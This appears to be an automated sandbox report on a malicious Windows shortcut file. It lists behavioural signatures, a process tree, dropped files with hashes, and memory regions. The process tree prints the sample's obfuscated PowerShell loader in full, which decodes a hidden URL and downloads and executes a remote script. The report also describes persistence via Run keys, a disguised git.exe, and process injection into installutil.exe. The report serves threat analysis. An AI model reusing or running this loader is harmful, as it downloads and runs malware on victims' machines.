Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/07/2026, 12:18

General

  • Target
    photov_763028390865.lnk
  • Size 1KB
  • Sample260727-pgwt7astbx
  • SHA256 c354367b524d7b0573f3bdf351d78b0128a62567f4ac8aaee9cef6970e94b181
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 9 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 22 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\photov_763028390865.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4932
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c powershell -c "$g6mw=4;$y2p6=42;$b51gj5kbd=[bigint]::Parse('29547279207596845284766162878554189577538910063435');$aetg152he=[bigint]::Parse('29547269255904444577700840870329766760983104989138');$b51gj5kbd=$b51gj5kbd-$aetg152he;$x9s9twct9=@();while($b51gj5kbd -gt 0){$x9s9twct9+=[char][int]([bigint]::Remainder($b51gj5kbd,256));$b51gj5kbd=[bigint]::Divide($b51gj5kbd,256)};.([scriptblock]::Create((irm(-join$x9s9twct9))))"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3920
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -c "$g6mw=4;$y2p6=42;$b51gj5kbd=[bigint]::Parse('29547279207596845284766162878554189577538910063435');$aetg152he=[bigint]::Parse('29547269255904444577700840870329766760983104989138');$b51gj5kbd=$b51gj5kbd-$aetg152he;$x9s9twct9=@();while($b51gj5kbd -gt 0){$x9s9twct9+=[char][int]([bigint]::Remainder($b51gj5kbd,256));$b51gj5kbd=[bigint]::Divide($b51gj5kbd,256)};.([scriptblock]::Create((irm(-join$x9s9twct9))))"
        3⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2384
        • C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\git.exe
          "C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\git.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:6032
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3176
  • C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\git.exe
    "C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\git.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3908
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5760
  • C:\Windows\system32\cmd.exe
    "cmd /c start "" /D "C:\ProgramData\GitWinx86" "C:\ProgramData\GitWinx86\git.exe""
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1896
    • C:\ProgramData\GitWinx86\git.exe
      "C:\ProgramData\GitWinx86\git.exe""
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:3084
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:6804
  • C:\Windows\Temp\DCRCVDrv.sys
    C:\Windows\Temp\DCRCVDrv.sys
    1⤵
    • Executes dropped EXE
    PID:1492

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        vsqb_ywexzgj_oh_ptnjad_.zip

        • Path C:\Users\Admin\AppData\Local\Temp\vsqb_ywexzgj_oh_ptnjad_.zip
        • Size 5.6MB
        • SHA256 031141870683cc41121ed8e2fbbdaa06da3720043ec448b000869cde34ebc352
        • MD5 SHA1 SHA512 SSDEEP TLSH

        VCRUNTIME140.dll

        • Path C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\VCRUNTIME140.dll
        • Size 120KB
        • SHA256 184146852727a9db4eea06178716bec3cdbb1015c911f6b0f915b184ad7775b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        VCRUNTIME140_1.dll

        • Path C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\VCRUNTIME140_1.dll
        • Size 46KB
        • SHA256 e6bfb3662ab4b1969a73441dbe35c96d51441b6bff8cf1fe7430bd5b246ca605
        • MD5 SHA1 SHA512 SSDEEP TLSH

        git.exe

        • Path C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\git.exe
        • Size 4.2MB
        • SHA256 cab4c4eea1d869cf9f7be73868dc9a90ad2df1b1b673e5f8c8714a576c25ea96
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libiconv-2.dll

        • Path C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\libiconv-2.dll
        • Size 1.1MB
        • SHA256 7a282a854e01be726c6cccfe46f548c716aa45b3014818468253aaa4efbcd067
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libintl-8.dll

        • Path C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\libintl-8.dll
        • Size 291KB
        • SHA256 0537c3dd2378218508ebe3cc416d72a99ee2d24ae1c5525e23458f32544ef861
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libpcre2-8-0.dll

        • Path C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\libpcre2-8-0.dll
        • Size 701KB
        • SHA256 c135a87ed0f11eae8ffc4cb469671ff0b3f5d71fab5fb024e9b1e7241ca25b52
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libwinpthread-1.dll

        • Path C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\libwinpthread-1.dll
        • Size 3.0MB
        • SHA256 3b9a3369e4fbc9f4336247ea11cf5df3b4c44066987ff20f5f6895addb052036
        • MD5 SHA1 SHA512 SSDEEP TLSH

        msvcp140.dll

        • Path C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\msvcp140.dll
        • Size 540KB
        • SHA256 def46aa6a8f72f27bafac0c43334419486a4d1dcdb6c479a8ef7034b3e1fa4cb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ucrtbase.dll

        • Path C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\ucrtbase.dll
        • Size 1.3MB
        • SHA256 c2ed69b4a1bb9432c75134e813c70539e27c8c1fe96a784d9be78c874e93d9d5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        zlib1.dll

        • Path C:\Users\Admin\AppData\Local\vafg9_bod_upd_znu\zlib1.dll
        • Size 125KB
        • SHA256 93e9243a44c29200eeacaf9658efe2558581770e4b11ca4b500e18e424a6e3b5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DCRCVDrv.sys

        • Path C:\Windows\Temp\DCRCVDrv.sys
        • Size 137KB
        • SHA256 87e8d39db624f37d3e77aedf487a2dfd197f71a4730ea74f4e7a4341deaec2ff
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1492-96-0x0000000000010000-0x000000000003D000-memory.dmp

        memory/2384-21-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

        memory/2384-7-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

        memory/2384-12-0x000001F02C550000-0x000001F02C712000-memory.dmp

        memory/2384-15-0x000001F02C4A0000-0x000001F02C4BE000-memory.dmp

        memory/2384-16-0x000001F02C720000-0x000001F02C7D2000-memory.dmp

        memory/2384-17-0x000001F02C490000-0x000001F02C49A000-memory.dmp

        memory/2384-19-0x000001F02C4F0000-0x000001F02C514000-memory.dmp

        memory/2384-18-0x000001F02C4F0000-0x000001F02C51A000-memory.dmp

        memory/2384-20-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

        memory/2384-0-0x00007FFFF237F000-0x00007FFFF2380000-memory.dmp

        memory/2384-22-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

        memory/2384-23-0x000001F02CD10000-0x000001F02D238000-memory.dmp

        memory/2384-10-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

        memory/2384-9-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

        memory/2384-8-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

        memory/2384-11-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

        memory/2384-6-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

        memory/2384-5-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

        memory/2384-4-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

        memory/2384-3-0x000001F02BF90000-0x000001F02BFB2000-memory.dmp

        memory/2384-24-0x000001F02C4D0000-0x000001F02C4DA000-memory.dmp

        memory/2384-26-0x000001F02C500000-0x000001F02C512000-memory.dmp

        memory/2384-30-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

        memory/2384-31-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

        memory/2384-32-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

        memory/2384-126-0x00007FFFF21F0000-0x00007FFFF2B94000-memory.dmp

        memory/3176-364-0x0000000000550000-0x00000000005C0000-memory.dmp

        memory/3908-147-0x00007FF77E750000-0x00007FF77EBBF000-memory.dmp

        memory/3908-150-0x00007FFFE8E30000-0x00007FFFE8F4F000-memory.dmp

        memory/3908-148-0x00007FF80C880000-0x00007FF80C936000-memory.dmp

        memory/3908-151-0x00007FF80C7F0000-0x00007FF80C842000-memory.dmp

        memory/3908-149-0x00007FF80C850000-0x00007FF80C876000-memory.dmp

        memory/5760-257-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-207-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-159-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-183-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-269-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-154-0x00000000053A0000-0x00000000053BA000-memory.dmp

        memory/5760-267-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-263-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-261-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-146-0x0000000000400000-0x0000000000470000-memory.dmp

        memory/5760-255-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-253-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-251-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-249-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-247-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-243-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-241-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-239-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-237-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-236-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-231-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-229-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-227-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-225-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-223-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-221-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-220-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-217-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-215-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-213-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-211-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-155-0x00000000054F0000-0x000000000551C000-memory.dmp

        memory/5760-205-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-203-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-201-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-199-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-197-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-196-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-191-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-187-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-185-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-181-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-179-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-177-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-175-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-173-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-171-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-170-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-265-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-259-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-245-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-233-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-209-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-163-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-161-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-193-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-189-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-157-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-167-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-165-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-156-0x00000000054F0000-0x0000000005516000-memory.dmp

        memory/5760-2041-0x0000000005790000-0x00000000057F6000-memory.dmp

        memory/5760-2042-0x00000000065D0000-0x0000000006662000-memory.dmp

        memory/5760-2043-0x0000000006C30000-0x00000000071EA000-memory.dmp